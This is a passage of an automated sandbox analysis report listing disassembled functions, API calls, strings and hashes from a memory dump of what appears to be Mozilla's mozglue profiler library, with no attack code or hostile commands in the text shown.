Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 4eb036c10e2980fe400aac91c38a383ae9ea0ce44a9a7ce93dd68c79d602fd0c
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 2C22F271E006198FCB14CF98C890AADFBB2FF88314F558699D44AA7715D731B986CF90

Function 6CE1AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a796f3a8391e1b0c7f034d97175134326cf31b70ba07e76a8cf90b09367ef3f
Instruction ID: 525cd34510d225bca06dc3cba1fcb0defe6e10a5e0add2602d260c2d1ab137b8
Opcode Fuzzy Hash: 7a796f3a8391e1b0c7f034d97175134326cf31b70ba07e76a8cf90b09367ef3f
Instruction Fuzzy Hash: 9BF11771A4C7458FD700CE28C8917BAB7F2AFC631CF258A1DE4D487B81E77498998792

Function 6CDAC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 64feadef808ce8dd93f0cf4b52d8c6aeb9eb5329f8efd5edebb0bacfc85d53b0
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 92A1A271F0021A8FDB08DEA9C8913AEB7F2AFC8364F188129D915E77A1D7355C068BD0

Function 6CDE7710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: d0126af67b1569296cc82e2d04e142576107579eada89836438c7e444fe44beb
Instruction ID: 57a2f00467e399c62bee251df33c42c4a1635e64c3a0c9d9ff89ab7106d5600a
Opcode Fuzzy Hash: d0126af67b1569296cc82e2d04e142576107579eada89836438c7e444fe44beb
Instruction Fuzzy Hash: 73719C75E01219DFCB48DFA9C8906EDBBB2FF88314F25812ED415AB751D731A905CB90

Function 6CDE58E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 157b062e7ea5787f47422704f448da8e0c78f7a5b1b2c61254a2f4941acf1b4e
Instruction ID: b5ebd993195ca390aa38c189e486baa5c8ab2981d1f1dfc2b8681f7f3638d088
Opcode Fuzzy Hash: 157b062e7ea5787f47422704f448da8e0c78f7a5b1b2c61254a2f4941acf1b4e
Instruction Fuzzy Hash: C7817C75E012199FCB04CFA8D880AEEFBF2FF89354F644269D411AB751E731A945CBA0

Function 6CDECC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CDB582D), ref: 6CDECC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CDB582D), ref: 6CDECC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CE1FE98,?,?,?,?,?,6CDB582D), ref: 6CDECC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CDB582D), ref: 6CDECC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CDB582D), ref: 6CDECC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CDB582D), ref: 6CDECC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CDB582D), ref: 6CDECCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CDECCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CDECCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CDECCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CDECCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CDECD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CDECD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CDECD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CDECDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CDECDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CDECDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CDECDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CDECE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CDECE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CDECE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CDECE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CDECE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CDECE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CDECE8A

Strings

markersallthreads, xrefs: 6CDECE42
nostacksampling, xrefs: 6CDECD7C
unregisteredthreads, xrefs: 6CDECE58
cpuallthreads, xrefs: 6CDECE16
noiostacks, xrefs: 6CDECCBE
seqstyle, xrefs: 6CDECCE6
fileio, xrefs: 6CDECC92
preferencereads, xrefs: 6CDECD92
java, xrefs: 6CDECC37
screenshots, xrefs: 6CDECCD4
power, xrefs: 6CDECE84
Unrecognized feature "%s"., xrefs: 6CDECEA0
stackwalk, xrefs: 6CDECCF8
fileioall, xrefs: 6CDECCA8
processcpu, xrefs: 6CDECE6E
audiocallbacktracing, xrefs: 6CDECDD4
ipcmessages, xrefs: 6CDECDBE
default, xrefs: 6CDECC21
samplingallthreads, xrefs: 6CDECE2C
mainthreadio, xrefs: 6CDECC7C
notimerresolutionchange, xrefs: 6CDECE00
leaf, xrefs: 6CDECC66
nativeallocations, xrefs: 6CDECDA8
jsallocations, xrefs: 6CDECD0E

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 176512094d07e4e06cec721f306454560da50e9a6dcfb5d84d27e9d90df92179
Instruction ID: d352c390ea003eefc4213882e4cc64097badbdb785341adb48aabc95da66584c
Opcode Fuzzy Hash: 176512094d07e4e06cec721f306454560da50e9a6dcfb5d84d27e9d90df92179
Instruction Fuzzy Hash: B451CBD1B0A26551FA0433151C21BEA1C65EFDB24AF30103EED49E1E90FF0AD63A45B7

Function 6CDB47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CDB4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CDB4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CDB482D
__Init_thread_footer.LIBCMT ref: 6CDB484A

Part of subcall function 6CDDAB3F: EnterCriticalSection.KERNEL32(6CE2E370,?,?,6CDA3527,6CE2F6CC,?,?,?,?,?,?,?,?,6CDA3284), ref: 6CDDAB49
Part of subcall function 6CDDAB3F: LeaveCriticalSection.KERNEL32(6CE2E370,?,6CDA3527,6CE2F6CC,?,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDDAB7C

GetCurrentThreadId.KERNEL32 ref: 6CDB485F
GetCurrentThreadId.KERNEL32 ref: 6CDB487E
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDB488B
free.MOZGLUE(?), ref: 6CDB493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDB4956
free.MOZGLUE(00000000), ref: 6CDB4960
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDB499A

Part of subcall function 6CDDAB89: EnterCriticalSection.KERNEL32(6CE2E370,?,?,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284), ref: 6CDDAB94
Part of subcall function 6CDDAB89: LeaveCriticalSection.KERNEL32(6CE2E370,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDDABD1

free.MOZGLUE(?), ref: 6CDB49C6
free.MOZGLUE(?), ref: 6CDB49E9

Part of subcall function 6CDC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CDC5EDB
Part of subcall function 6CDC5E90: memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CDC5F27
Part of subcall function 6CDC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CDC5FB2

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CDB47FC
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CDB4828
MOZ_PROFILER_SHUTDOWN, xrefs: 6CDB4A42
[I %d/%d] profiler_shutdown, xrefs: 6CDB4A06
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CDB4812

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 374af627ff61a42eb4cf73a4ad37a8482976b2951ecbc53ed3277d367e58330a
Instruction ID: 6c89b8ed8fd1e71e31f7b34d3764bfb90fad87691d192b330fcb87141d8f1812
Opcode Fuzzy Hash: 374af627ff61a42eb4cf73a4ad37a8482976b2951ecbc53ed3277d367e58330a
Instruction Fuzzy Hash: E68115B0E00110CBEB10DF68C884B5A7779BF4232CF140629D917B7B61E739E945CBAA

Function 6CDB4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDB4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CDB44B2,6CE2E21C,6CE2F7F8), ref: 6CDB473E
Part of subcall function 6CDB4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CDB474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CDB44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CDB44D2
InitOnceExecuteOnce.KERNEL32(6CE2F80C,6CDAF240,?,?), ref: 6CDB451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CDB455C
LoadLibraryW.KERNEL32(?), ref: 6CDB4592
InitializeCriticalSection.KERNEL32(6CE2F770), ref: 6CDB45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CDB45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CDB45BB
InitOnceExecuteOnce.KERNEL32(6CE2F818,6CDAF240,?,?), ref: 6CDB4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CDB4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CDB4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CDB466D
VerSetConditionMask.NTDLL ref: 6CDB469F
VerSetConditionMask.NTDLL ref: 6CDB46AB
VerSetConditionMask.NTDLL ref: 6CDB46B2
VerSetConditionMask.NTDLL ref: 6CDB46B9
VerSetConditionMask.NTDLL ref: 6CDB46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CDB46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CDB46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CDB46FD

Strings

WRusr.dll, xrefs: 6CDB44B5
kernel32.dll, xrefs: 6CDB44CD
user32.dll, xrefs: 6CDB4557, 6CDB463F
l, xrefs: 6CDB4578
Gl, xrefs: 6CDB44FC
NativeNtBlockSet_Write, xrefs: 6CDB46F7

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-2555916485
Opcode ID: 2fde2f8f7d68d6fdc34a437ba1a6b750568a88b667dc3cf5bca26937b645ea00
Instruction ID: c4d57b678a76778501e2c1eb2b39110d9e503214cc1384e07246315736c8cf77
Opcode Fuzzy Hash: 2fde2f8f7d68d6fdc34a437ba1a6b750568a88b667dc3cf5bca26937b645ea00
Instruction Fuzzy Hash: 456125F1A00358AFEB10DF60CC0AB95BBF8EB46708F14855DE546AB661D7BC8945CFA0

Function 6CDEE8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDE7090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CDEB9F1,?), ref: 6CDE7107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CDEDCF5), ref: 6CDEE92D
GetCurrentThreadId.KERNEL32 ref: 6CDEEA4F
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEEA5C
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEEA80
GetCurrentThreadId.KERNEL32 ref: 6CDEEA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CDEDCF5), ref: 6CDEEA92
GetCurrentThreadId.KERNEL32 ref: 6CDEEB11
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEEB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CDEEB3C
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEEB5B

Part of subcall function 6CDE5710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CDEEB71), ref: 6CDE57AB

Part of subcall function 6CDDCBE8: GetCurrentProcess.KERNEL32(?,6CDA31A7), ref: 6CDDCBF1
Part of subcall function 6CDDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CDA31A7), ref: 6CDDCBFA

Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CDB4A68), ref: 6CDE945E
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CDE9470
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CDE9482
Part of subcall function 6CDE9420: __Init_thread_footer.LIBCMT ref: 6CDE949F

GetCurrentThreadId.KERNEL32 ref: 6CDEEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CDEEBAC

Part of subcall function 6CDE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CDE94EE
Part of subcall function 6CDE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CDE9508

GetCurrentThreadId.KERNEL32 ref: 6CDEEBC1
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8,?,?,00000000), ref: 6CDEEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CDEEBE5
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8,00000000), ref: 6CDEEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CDEEC46
CloseHandle.KERNEL32(?), ref: 6CDEEC55
free.MOZGLUE(00000000), ref: 6CDEEC5C

Strings

[I %d/%d] profiler_start, xrefs: 6CDEEBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CDEEA9B

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 39638f16c43a19aedbdea759b070681c3d84e1b48cbe432445c8e060ea5afc88
Instruction ID: d43105641d52d0a6caeb626029ece579d610292381f35a1e5647afb3db4a21ef
Opcode Fuzzy Hash: 39638f16c43a19aedbdea759b070681c3d84e1b48cbe432445c8e060ea5afc88
Instruction Fuzzy Hash: 5EA14971B00614DFDB009F68D844BAA77B5FF8A318F25412DE91A87F61DB7CA805CBA1

Function 6CDEF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CDB4A68), ref: 6CDE945E
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CDE9470
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CDE9482
Part of subcall function 6CDE9420: __Init_thread_footer.LIBCMT ref: 6CDE949F

GetCurrentThreadId.KERNEL32 ref: 6CDEF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CDEF8F9

Part of subcall function 6CDB6390: GetCurrentThreadId.KERNEL32 ref: 6CDB63D0
Part of subcall function 6CDB6390: AcquireSRWLockExclusive.KERNEL32 ref: 6CDB63DF
Part of subcall function 6CDB6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CDB640E

ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEF93A
GetCurrentThreadId.KERNEL32 ref: 6CDEF98A
GetCurrentThreadId.KERNEL32 ref: 6CDEF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDEF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDEF716

Part of subcall function 6CDE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CDE94EE
Part of subcall function 6CDE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CDE9508

Part of subcall function 6CDAB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CDAB5E0

GetCurrentThreadId.KERNEL32 ref: 6CDEF739
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEF746
GetCurrentThreadId.KERNEL32 ref: 6CDEF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CE2385B,00000002,?,?,?,?,?), ref: 6CDEF829
free.MOZGLUE(?,?,00000000,?), ref: 6CDEF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CDEF866
free.MOZGLUE(?), ref: 6CDEFA0C

Part of subcall function 6CDB5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CDB55E1), ref: 6CDB5E8C
Part of subcall function 6CDB5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CDB5E9D
Part of subcall function 6CDB5E60: GetCurrentThreadId.KERNEL32 ref: 6CDB5EAB
Part of subcall function 6CDB5E60: GetCurrentThreadId.KERNEL32 ref: 6CDB5EB8
Part of subcall function 6CDB5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CDB5ECF
Part of subcall function 6CDB5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CDB5F27
Part of subcall function 6CDB5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CDB5F47
Part of subcall function 6CDB5E60: GetCurrentProcess.KERNEL32 ref: 6CDB5F53
Part of subcall function 6CDB5E60: GetCurrentThread.KERNEL32 ref: 6CDB5F5C
Part of subcall function 6CDB5E60: GetCurrentProcess.KERNEL32 ref: 6CDB5F66
Part of subcall function 6CDB5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CDB5F7E

free.MOZGLUE(?), ref: 6CDEF9C5
free.MOZGLUE(?), ref: 6CDEF9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6CDEF71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CDEF9A6
Thread , xrefs: 6CDEF789
" attempted to re-register as ", xrefs: 6CDEF858

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: b572d5b7d41941182730899553dfc1e9bbdcf767f5d17fc1c49096fc7ddd2431
Instruction ID: a62e54437d0801a1d731d54064d6515839f74f776078ecad1295d0bd76785716
Opcode Fuzzy Hash: b572d5b7d41941182730899553dfc1e9bbdcf767f5d17fc1c49096fc7ddd2431
Instruction Fuzzy Hash: ED813871A047049FD710DF24D840BAEB7B9FF89308F55452DE8859BB61EB34E849CBA2

